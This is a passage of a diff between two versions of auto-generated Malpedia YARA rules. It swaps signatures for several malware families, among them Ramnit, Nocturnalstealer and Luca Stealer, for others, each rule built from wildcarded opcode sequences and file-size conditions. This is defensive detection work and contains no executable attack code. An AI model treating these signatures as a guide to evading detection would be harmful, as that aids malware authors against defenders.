 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89d9 e8???????? 85c0 75e7 89d9 e8???????? 89d9 }
-		$sequence_1 = { a1???????? 85c0 0f85bb010000 8b41fc 8d50ff 8951fc }
-		$sequence_2 = { 8b442454 8b542414 8b400c 85d2 0f851f040000 83f802 }
-		$sequence_3 = { 8bbc24b0000000 e8???????? 8b00 c744245cffffffff c7442460ffffffff 89442428 8b8424a4000000 }
-		$sequence_4 = { 0f83a3020000 0fb700 6683f8ff b800000000 0f4545ac 8945ac b800000000 }
-		$sequence_5 = { 668993f0000000 c783f400000000000000 c783f800000000000000 c783fc00000000000000 c7830001000000000000 c703???????? c7437c98ce4b00 }
-		$sequence_6 = { c703???????? c7437884124c00 e8???????? 89b3f0000000 83ec04 8d65f4 5b }
-		$sequence_7 = { 0f9fc1 084dc9 8b4d08 8345cc01 8b4108 3b410c 0f8240ffffff }
-		$sequence_8 = { 8b4340 c7431400000000 c7431000000000 0fb67b58 894304 894308 89430c }
-		$sequence_9 = { 8d4304 89c1 89c6 e8???????? 89b3ec000000 83ec04 8d65f4 }
+		$sequence_0 = { ba???????? e8???????? 8d8df0fbffff e8???????? 8bf8 85ff 741b }
+		$sequence_1 = { ff9620060000 33c0 5e 8be5 5d c20400 }
+		$sequence_2 = { eb23 8b4d08 e8???????? 03c0 }
+		$sequence_3 = { 8d45d8 50 6804900000 56 ff15???????? 6808700000 56 }
+		$sequence_4 = { ba???????? 8d8940040000 e8???????? 8b45fc ff7010 ffd6 }
+		$sequence_5 = { 8bd8 85db 74d3 8b5508 8bcb e8???????? }
+		$sequence_6 = { 668974242e ff15???????? 85c0 0f88c9040000 ff15???????? b940040000 }
+		$sequence_7 = { e8???????? 8bce 8d85e0fbffff 8818 40 83e901 }
+		$sequence_8 = { b9???????? e8???????? 6683bdf0fbffff00 8bf0 740d 8d85f0fbffff 50 }
+		$sequence_9 = { 8d85f0fbffff 50 8d85e0f7ffff 50 e8???????? 8bd8 }
 
 	condition:
-		7 of them and filesize <2174976
+		7 of them and filesize <565248
 }
-rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE
+rule MALPEDIA_Win_Xbtl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "edb23d28-51bf-5c0e-a6f1-7bed7d79f2ed"
+		id = "7372571c-d52e-5b5b-bd42-81e7e356cc7e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gh0sttimes_auto.yar#L1-L163"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xbtl_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "cd1718bc24ef159d263847a726492a25887a81e094fffc2e2f0e4d7ba74c2151"
+		logic_hash = "b45bdfe7ddb3c3bebb25f685acba4274921aebf8fbd081dea272d3bf592a2a7b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151249,38 +158382,32 @@ rule MALPEDIA_Win_Gh0Sttimes_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 899df0fdffff 899decfdffff 889df4fdffff 889df5fdffff 889df6fdffff 889df7fdffff 889df8fdffff }
-		$sequence_1 = { 52 50 8985dcfdffff e8???????? }
-		$sequence_2 = { 50 ff15???????? 85c0 750f 5b }
-		$sequence_3 = { 33c5 8945fc 8b4508 53 33db 8d8de0fdffff 51 }
-		$sequence_4 = { 0f852c010000 b8???????? 8d5001 8d642400 }
-		$sequence_5 = { 8b0e 51 ff15???????? 43 }
-		$sequence_6 = { 6a09 8d4df0 c645f070 8945f5 e8???????? 8b4dfc 5f }
-		$sequence_7 = { 0f8638010000 83c708 8b57fc 8b85ecfdffff 52 }
-		$sequence_8 = { 488b4c2438 488d442430 488d150c710200 4889442428 }
-		$sequence_9 = { 488b4c2438 488d442434 4c8d4c2430 4889442428 488d442440 488d1520790200 }
-		$sequence_10 = { 488b8f40010000 ff15???????? 488b8f40010000 ff15???????? 48c78740010000ffffffff }
-		$sequence_11 = { 488b4c2430 488b4968 e8???????? 4c8b5c2430 }
-		$sequence_12 = { 488b4c2430 83490c08 a808 7409 488b442430 83480c04 }
-		$sequence_13 = { 488b4c2430 48c1e80c f7d0 334108 }
-		$sequence_14 = { 488b4c2438 488d442430 488d15da700200 4889442428 }
-		$sequence_15 = { 488b4c2430 488b4968 33c0 66890451 488b442430 }
+		$sequence_0 = { ffd7 50 ffd3 8bd8 85f6 7406 8d45e8 }
+		$sequence_1 = { 99 8bd8 8bc1 99 33f6 0bf0 3135???????? }
+		$sequence_2 = { 8d45ec 8d95f0fdffff e8???????? 8b85d4fdffff 56 56 6a03 }
+		$sequence_3 = { 85d2 782a 895dfc 8b4d08 0fb63c0a 8b460c 0345fc }
+		$sequence_4 = { 0fb67808 89948dc0feffff 0fb65007 c1e208 0bd7 }
+		$sequence_5 = { 83c41c 8d4c2410 51 ffd7 8b442434 8b4c2428 8b1d???????? }
+		$sequence_6 = { 8bd6 897c2420 2bd0 0fb708 66890c02 83c002 }
+		$sequence_7 = { 03048de0c04200 eb02 8bc2 f6402480 7417 e8???????? c70016000000 }
+		$sequence_8 = { 81e600ff00ff c1c208 81e2ff00ff00 0bf2 897018 8b491c }
+		$sequence_9 = { 8b5708 40 83c410 894704 3bc2 7e16 8d0412 }
 
 	condition:
-		7 of them and filesize <548864
+		7 of them and filesize <401408
 }
-rule MALPEDIA_Win_Slub_Auto : FILE
+rule MALPEDIA_Win_Decaf_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "195b7942-1783-5df2-bcee-76020ab94f8f"
+		id = "871b7c64-9bb1-5d5d-b760-fe69f683da0a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slub_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.decaf_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "654a15994e2d79fd54a129ac2f9c4ef4cc1a02067acc10e29921ff8e80b39dab"
+		logic_hash = "2f8679cf6195e76585744c378fca956597817fdb2b26b865768f35c66fced6eb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151294,32 +158421,32 @@ rule MALPEDIA_Win_Slub_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff742420 55 e8???????? 83c414 89442414 85c0 0f8512010000 }
-		$sequence_1 = { 807c241200 7407 c686e808000000 80beb406000000 740f ffb6b0060000 ff15???????? }
-		$sequence_2 = { c785bcf8ffffcce48f00 8bc8 c785c0f8ffffa0358400 c785c4f8ffff90e98500 e8???????? 8d95bcf8ffff c785bcf8ffffd8e48f00 }
-		$sequence_3 = { 85ff 750e 837d2c10 8d4518 0f43c2 3a08 7c13 }
-		$sequence_4 = { 85c0 0f8443ffffff 8b96f4000000 85d2 0f8435ffffff 8b8df0000000 6690 }
-		$sequence_5 = { 6800000100 6a00 6801000100 56 ff15???????? 89442414 85c0 }
-		$sequence_6 = { 898640010000 85c0 0f8416050000 57 e8???????? 83c404 85c0 }
-		$sequence_7 = { e8???????? 50 68???????? ffb50cfdffff e8???????? ffb50cfdffff }
-		$sequence_8 = { 8d8dc8ebffff 50 ffb5c8ebffff e8???????? 8b85c4ebffff c785dcebffff0f000000 c785d8ebffff00000000 }
-		$sequence_9 = { 8b86dc050000 89863c040000 8b86e0050000 898694040000 8b86e4050000 898640040000 8b86e8050000 }
+		$sequence_0 = { e8???????? e8???????? 48898424a8180000 48899c2440060000 488b0d???????? 48898c2420230000 488d0543040c00 }
+		$sequence_1 = { 4c8b442470 4889c7 4889ce 488b442440 c7041fcacccec6 b905000000 e9???????? }
+		$sequence_2 = { e9???????? 4c8d4302 4c39c6 7337 4c89442468 488d05d8a30300 4889d9 }
+		$sequence_3 = { c3 488d0582761b00 bb10000000 e8???????? 4889f8 b900200000 e8???????? }
+		$sequence_4 = { e8???????? 488b8c24b8040000 48894808 833d????????00 7514 488b8c2410160000 488908 }
+		$sequence_5 = { eb1c 4889c7 488b8c24f0120000 e8???????? 488d3d53871f00 e8???????? e8???????? }
+		$sequence_6 = { e8???????? 488d05d4ad1300 488d1d95d21900 e8???????? 4d8d6830 4c89d6 4d89ea }
+		$sequence_7 = { e9???????? 90 66c744244f1c14 0fb654244f 88542445 440fb6442450 4488442444 }
+		$sequence_8 = { c6041f95 31c9 e9???????? 4983f809 754d 4c8d4301 4c39c6 }
+		$sequence_9 = { e9???????? 48895c2428 4889442430 488d0d664c1d00 bf0d000000 e8???????? 4885c0 }
 
 	condition:
-		7 of them and filesize <1785856
+		7 of them and filesize <7193600
 }
-rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE
+rule MALPEDIA_Win_Bistromath_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "16d4de33-3c54-5479-87ac-366869086324"
+		id = "62a1b548-25a5-5273-be8b-9848556649f4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nocturnalstealer_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bistromath_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "6f15e0c8b7c880f99f33b6a9409ba20c65fe7c5674e094de4ef3ad4c2fb61399"
+		logic_hash = "b9314d0c2625ba0e21f5bfba175e042ed0e577dd2d934e440857096b6f3294e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151333,32 +158460,32 @@ rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff3424 5e 56 e9???????? 81e945418082 01ca e9???????? }
-		$sequence_1 = { e9???????? 09d6 5f 81e220000000 ba00000000 81f700000080 81eeffffff7f }
-		$sequence_2 = { e9???????? 01742404 ff3424 5e 57 89e7 e9???????? }
-		$sequence_3 = { 89ef ba00020000 2524000000 09cb 05ffffff7f 81e6ffffff7f 81c7a2000000 }
-		$sequence_4 = { e9???????? 83c004 330424 310424 330424 5c 55 }
-		$sequence_5 = { b8b4888b7f 251810fb62 253a26e37e 05b68054fc 31c7 e9???????? 331c24 }
-		$sequence_6 = { e9???????? 8d852731bc18 52 89e2 50 b804000000 01c2 }
-		$sequence_7 = { e9???????? 895c2404 8b1c24 83c404 893424 890424 e9???????? }
-		$sequence_8 = { e9???????? 57 891c24 890424 e9???????? 81c704000000 81c704000000 }
-		$sequence_9 = { f7d8 f7d0 c1e808 c1e802 e9???????? 29cf 8b0c24 }
+		$sequence_0 = { e8???????? 85c0 741d 0f57c0 0f1100 0f114010 660fd64020 }
+		$sequence_1 = { ff75f0 56 e8???????? 8b45f8 83c40c c6040600 8bce }
+		$sequence_2 = { eb24 8d5001 e8???????? 8bf0 85f6 7416 ff75fc }
+		$sequence_3 = { e8???????? 8b4580 46 3bf0 7ce8 33f6 85db }
+		$sequence_4 = { e8???????? 8b4c2410 8901 83c718 8b442424 83c104 894c2410 }
+		$sequence_5 = { 8b45e8 85c0 0f84bb250000 ff474c 8d535f 8b7f4c 8bce }
+		$sequence_6 = { e8???????? 8945e4 85c0 0f84e1010000 ff75f0 33d2 8bcb }
+		$sequence_7 = { ff75fc e8???????? 8bf0 83c404 85f6 7418 8d45fc }
+		$sequence_8 = { 8b4df8 e8???????? 8b5324 8b4df8 e8???????? 6a30 6a00 }
+		$sequence_9 = { 83c404 46 8d7efe 83fe02 7304 33d2 eb2e }
 
 	condition:
-		7 of them and filesize <10739712
+		7 of them and filesize <33816576
 }
-rule MALPEDIA_Win_Photolite_Auto : FILE
+rule MALPEDIA_Win_Milkmaid_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "91b305a0-4121-51a1-b4d2-2f8343c04744"
+		id = "7c60d500-9a52-5cea-8bfb-4d836c40072e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.photolite_auto.yar#L1-L166"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.milkmaid_auto.yar#L1-L100"
 		license_url = "N/A"
-		logic_hash = "caefd484ddfe657e42e053f8e8452f60715f0696ed8aba66627e49aa5e3366fe"
+		logic_hash = "c4a5987f68f519192a013c67faec02935457872f835e55aadbf7cdc1a7483580"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151372,38 +158499,30 @@ rule MALPEDIA_Win_Photolite_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c7859802000042cc7257 c7859c02000075cc545d c785a002000040c02638 8b8594020000 8a8590020000 84c0 751e }
-		$sequence_1 = { ff15???????? 498bd6 488d4d76 ff15???????? 8a4301 }
-		$sequence_2 = { c7859405000037f43a3a c785980500002fef391c c7859c0500000be1241d c785a00500002fe54a79 8b8590050000 8a858c050000 84c0 }
-		$sequence_3 = { 8a85e0020000 84c0 751e 488bcb 8b848de4020000 }
-		$sequence_4 = { 4803cf 483bce 72e5 885c244c c744245057106c10 c7442454556a4c30 }
-		$sequence_5 = { 8bc3 4d03ca 85d2 7474 448bc0 }
-		$sequence_6 = { 7421 0f1002 488bc2 482bc6 482bc7 }
-		$sequence_7 = { 7307 488b7c2430 eba3 488b5c2448 }
-		$sequence_8 = { 48895d38 48895da0 895d30 488b01 ff5070 8bf8 85c0 }
-		$sequence_9 = { 488bd8 4885c0 0f8419010000 488b15???????? }
-		$sequence_10 = { 488bcb ffd0 ffc6 41b8bb010000 8bd6 }
-		$sequence_11 = { 84c0 0f85f5000000 4885db 7451 488b05???????? 4885c0 7426 }
-		$sequence_12 = { 72e9 4c8d442444 41b901000000 488d047e 410fb6d1 }
-		$sequence_13 = { 3dc8000000 0f849d000000 488b5d28 4885db }
-		$sequence_14 = { 75f2 33db 4084f6 0f84e6000000 }
-		$sequence_15 = { 488d542474 488d8de0020000 ff15???????? 408874245c }
+		$sequence_0 = { 7440 56 ff15???????? 8d4c2414 }
+		$sequence_1 = { c68424dc28010002 e8???????? 8d4c2410 c68424dc28010001 }
+		$sequence_2 = { 50 53 ff15???????? 8d4c2478 c68424dc28010002 }
+		$sequence_3 = { 6a00 ff15???????? 6aff 8d4c2408 e8???????? 68???????? 8d4c2408 }
+		$sequence_4 = { 895c2428 7513 8b5508 52 53 }
+		$sequence_5 = { 8d442408 57 50 e8???????? 83c404 33db }
+		$sequence_6 = { 8be9 896c2420 8a8528280100 84c0 7528 8b4d04 }
+		$sequence_7 = { 51 8d8c2480000000 c68424e428010003 e8???????? b911000000 }
 
 	condition:
-		7 of them and filesize <99328
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Reactorbot_Auto : FILE
+rule MALPEDIA_Win_Luca_Stealer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "db667bb6-5a2a-5433-bb3f-44b94a1b8ccd"
+		id = "8a0c166d-37f3-5a13-bfc2-83fc09a4679d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.reactorbot_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.luca_stealer_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a8dd74cde779dbd1edde8ec6ea240ea579363dd37eac297b9622688e884b36e8"
+		logic_hash = "f2eabac635b7bb4e193cfff7279ec9fd429ac964f492c856eb49bfd67aa7534f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151417,38 +158536,32 @@ rule MALPEDIA_Win_Reactorbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff15???????? 8d8d90fdffff 51 8d9580f9ffff }
-		$sequence_1 = { c745f400000000 c745e800000000 c745e400000000 a1???????? 8945e0 }
-		$sequence_2 = { 7418 6aff a1???????? 50 ff15???????? }
-		$sequence_3 = { 837dfcff 7411 8b4dfc 51 ff15???????? }
-		$sequence_4 = { 8b4d08 51 ff15???????? 83c404 8945f0 }
-		$sequence_5 = { 8b4508 50 6804010000 8d8d78f7ffff 51 e8???????? }
-		$sequence_6 = { ff15???????? 8945fc 837dfc00 7479 837dfcff }
-		$sequence_7 = { 7420 8b0d???????? 51 8b15???????? 52 }
-		$sequence_8 = { 83c005 99 b905000000 f7f9 }
-		$sequence_9 = { 6bc005 83e803 99 b999000000 }
-		$sequence_10 = { 69c0b13a0200 99 83e203 03c2 }
-		$sequence_11 = { e8???????? 833d????????00 7509 833d????????00 740b }
-		$sequence_12 = { eb0c c705????????b80b0000 eb0a c705????????e8030000 }
-		$sequence_13 = { 83e101 f7d9 81e12083b8ed 33c1 }
-		$sequence_14 = { 483d00080000 7323 4863442450 488b4c2468 0fb609 888c04e0030000 }
-		$sequence_15 = { 83e203 03c2 c1f802 89442410 8b4c240c }
+		$sequence_0 = { e8???????? 488bf8 81e7ffffff3f 498b4e60 488b5910 4885db 7452 }
+		$sequence_1 = { f645ef02 741d 807df101 7417 b201 488d4de7 e8???????? }
+		$sequence_2 = { eb06 4531c0 4889d0 48c7837802000002000000 44888380020000 c6838102000000 48898388020000 }
+		$sequence_3 = { e8???????? 498b0f 498b4708 4983670800 4885c0 740f 4883c420 }
+		$sequence_4 = { ff15???????? 894530 85c0 0f842b520000 488dbd501f0000 8b0f e8???????? }
+		$sequence_5 = { e8???????? 85c0 0f85be000000 488bcb e8???????? 488b8798090000 498bce }
+		$sequence_6 = { e8???????? 85c0 740c 488b0b 8a0439 2c3a 3c01 }
+		$sequence_7 = { e9???????? 488d3515b8d8ff eb03 4d03fd 410fb607 4484ac30009e4100 75ef }
+		$sequence_8 = { e9???????? b009 eb4f 488b842490000000 66c7000109 e9???????? 488db424e0000000 }
+		$sequence_9 = { eb86 e8???????? 0f0b 4157 4156 4155 4154 }
 
 	condition:
-		7 of them and filesize <1032192
+		7 of them and filesize <9285632
 }
-rule MALPEDIA_Win_Blackmagic_Auto : FILE
+rule MALPEDIA_Win_Milum_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dd528f6f-030a-5c0c-abc0-3a9e54fb0bef"
+		id = "a4720d6d-5a40-5b38-8cc6-14b0dce6d896"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackmagic_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.milum_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "9b47417ce0472639cee5ef75e6c79509f45487b7ad058f003aa41d6f30ea451f"
+		logic_hash = "3d087e33a30d06df9f4db7e1d4f924bf7ada8b431d51e99d5cf8912956a67294"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151462,32 +158575,32 @@ rule MALPEDIA_Win_Blackmagic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d15b40c0700 488bcd e8???????? 488b4620 488903 488b5c2430 488b6c2438 }
-		$sequence_1 = { 4c8b01 ba01000000 41ff10 90 488bc7 488b4c2458 4833cc }
-		$sequence_2 = { 4863d0 488d4dd0 488b94d3086c0700 e8???????? 488b0d???????? 0fbe01 }
-		$sequence_3 = { 3bc3 740a 8b5c245c 85db 748d eb35 ff15???????? }
-		$sequence_4 = { 48895e08 488b4718 4c894010 488b4718 49894018 4c894718 49897810 }
-		$sequence_5 = { 0f114160 0f104070 488b8090000000 0f114170 0f118980000000 48898190000000 488d0587eaffff }
-		$sequence_6 = { 0f867d030000 458d7302 448d7d02 8bc5 4c8d1483 418b3a }
-		$sequence_7 = { 41f782b800000000080000 7427 498b8ad0000000 410fb6d3 e8???????? 440fb65c2430 0fbec8 }
-		$sequence_8 = { 488bd0 e8???????? 488b5308 498bce 482b13 48c1fa02 e8???????? }
-		$sequence_9 = { 4881f900100000 7223 488d4127 483bc1 0f8681000000 488bc8 e8???????? }
+		$sequence_0 = { 8db53cffffff e8???????? 83c41c c645fc20 50 8d4d90 e8???????? }
+		$sequence_1 = { 837b1800 0f8507010000 8b45f0 50 8d75dc e8???????? 837b1800 }
+		$sequence_2 = { 50 e8???????? 8bc6 eb0f 885dfc 8d8d34ffffff }
+		$sequence_3 = { 8b4dcc 8b55c8 83c40c c78574ffffff44000000 8945ac 894db4 814da001010000 }
+		$sequence_4 = { 8d8d10feffff e8???????? c645fc1e 8d8df4fdffff e8???????? c645fc1d }
+		$sequence_5 = { 2bc6 c7421803000000 89421c 395a18 0f849cfeffff ddd8 ddd8 }
+		$sequence_6 = { 6bc064 2bc8 8d045590a64600 0fb610 8816 0fb64001 884601 }
+		$sequence_7 = { 385f45 7503 895704 8b7a04 897e04 8b7804 3b5704 }
+		$sequence_8 = { 8bca eb0e 8b55e8 2bd1 8b4e44 8955d4 894ddc }
+		$sequence_9 = { 8d7508 83ec1c 8bcc 8bc6 c741140f000000 895910 896598 }
 
 	condition:
-		7 of them and filesize <1416192
+		7 of them and filesize <1076224
 }
-rule MALPEDIA_Win_Whiskerspy_Auto : FILE
+rule MALPEDIA_Win_Unidentified_006_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ad364f6a-593c-546a-abca-058cacdb86c1"
+		id = "1d29f273-95a4-58bd-87cd-6ac677036b5c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whiskerspy_auto.yar#L1-L150"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_006_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "5c2084905c4059cab930cb01fc75781ec2a6ce873c993665138e09c62922860b"
+		logic_hash = "dd723dd2c53afa22a9c28d9c9c06ec724a63cc0cfcf78b59a425b4cdf0fd8bc1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151501,37 +158614,32 @@ rule MALPEDIA_Win_Whiskerspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b06 8bcf d3e8 a801 }
-		$sequence_1 = { 488bcf c645e57d c645e67d c645e77d c645e87d }
-		$sequence_2 = { 458bc6 488d95c0020000 488d8d80010000 ff15???????? 488d4c2460 ff15???????? }
-		$sequence_3 = { 5d c3 418bca 48899c2440020000 }
-		$sequence_4 = { 33c0 e9???????? c685c0020000c8 c685c1020000d3 }
-		$sequence_5 = { e8???????? 0f2805???????? 4c8d45b0 0f280d???????? 488d55f0 }
-		$sequence_6 = { 8bf9 488d1507c10000 b903000000 4c8d05f3c00000 e8???????? }
-		$sequence_7 = { 85c0 7428 817c245000040000 74b4 eb1c }
-		$sequence_8 = { 0fbec1 83e820 83e07f 8b04c5d43f4300 }
-		$sequence_9 = { 33c5 8945fc 53 8bd9 899540ffffff 8b4d0c }
-		$sequence_10 = { f30f38f6f8 897de4 b800000000 8b7de8 660f38f6f9 }
-		$sequence_11 = { 8b45ec 3bc6 7c3a 7f04 }
-		$sequence_12 = { 6af6 ff15???????? 8b04bd403d4400 834c0318ff 33c0 }
-		$sequence_13 = { 75f8 8bfe 8bca 8bb588feffff }
-		$sequence_14 = { a3???????? 8bcf e8???????? 8325????????00 8325????????00 }
+		$sequence_0 = { 3907 7417 833e00 7408 ff36 e8???????? 59 }
+		$sequence_1 = { 6a00 8d45fc 897dfc 50 8d45f8 50 6a00 }
+		$sequence_2 = { 85c9 7410 8b55f4 85d2 7409 e8???????? 894708 }
+		$sequence_3 = { 8bf0 57 56 e8???????? 83c410 33c0 }
+		$sequence_4 = { 85f6 7410 57 8b7d0c 2bf8 }
+		$sequence_5 = { 0fb6875c204000 47 03c6 83c603 25ff000000 }
+		$sequence_6 = { eb45 8b7510 85f6 743c }
+		$sequence_7 = { 8b4dfc 83c40c 8bf7 8bd7 85c9 7421 83ff0c }
+		$sequence_8 = { 33ff 53 ff15???????? 53 ff15???????? }
+		$sequence_9 = { 57 6a40 8bc2 33ff 6800300000 50 }
 
 	condition:
-		7 of them and filesize <591872
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Ramnit_Auto : FILE
+rule MALPEDIA_Win_Mole_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9f7bb136-c877-5703-86ba-5c3c0993dd1e"
+		id = "36f8515b-9850-5f6a-9da2-fab216acb0f1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ramnit_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mole_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "a743fa525eb529644f7aae0eeccbdf2bcc4af05febdbf59986022c9547272ab4"
+		logic_hash = "9e8bd455bb765e10346652a5931be596133d0a24ad14fb98b5a58db6c1dd57c3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -151545,32 +158653,32 @@ rule MALPEDIA_Win_Ramnit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3a06 7512 47 46 e2f6 b801000000 59 }
-		$sequence_1 = { 750b 4f 3b7d08 73e7 bf00000000 }
-		$sequence_2 = { 57 56 fc 807d1401 }
-		$sequence_3 = { 5f 59 5a 5b c9 c20800 55 }
-		$sequence_4 = { ff750c ff75fc e8???????? 0bc0 7429 }
-		$sequence_5 = { 8bc7 5a 5b 59 5f }
-		$sequence_6 = { 8bc1 f7d0 48 59 5f 5e }
-		$sequence_7 = { f3a4 fc 5e 5f 59 5a }
-		$sequence_8 = { 8bd7 2b5508 59 5f 5e }
-		$sequence_9 = { 8b5d0c 4b f7d3 23c3 }
+		$sequence_0 = { 81bdf0fdffff99000000 0f8787710000 8b95f0fdffff 0fb68248c04000 ff248514c04000 81bdf0fdffffd3a7d105 0f8794000000 }
+		$sequence_1 = { 6bc000 0385bcf9ffff 898588e5ffff 837d1401 751a 68???????? 68???????? }
+		$sequence_2 = { 81bdf0fdffffcde5d405 0f8458400000 81bdf0fdffff41e6d405 0f849e440000 81bdf0fdffff44e6d405 0f84742c0000 e9???????? }
+		$sequence_3 = { e9???????? 81bdf0fdffff5625d105 0f8786000000 81bdf0fdffff5625d105 0f8494710000 81bdf0fdffffc624d105 7745 }
+		$sequence_4 = { 8d959cefffff 52 68???????? 6801000080 ff15???????? 898584efffff 8d85d4fbffff }
+		$sequence_5 = { 8d85ace4ffff 50 6a05 68???????? 8b8dc4e4ffff 51 ff15???????? }
+		$sequence_6 = { c7802ceb410002000000 6a04 58 6bc000 8b0d???????? 894c05f8 6a04 }
+		$sequence_7 = { 8d9530e2ffff 52 e8???????? 83c404 6a64 68???????? 8d85ecfbffff }
+		$sequence_8 = { 83c410 8d959cf9ffff 52 8b8590e5ffff }
+		$sequence_9 = { e8???????? e8???????? 898580f7ffff 81bd80f7ffff00300000 7575 6a00 }
 
 	condition:
-		7 of them and filesize <470016
+		7 of them and filesize <297984
 }
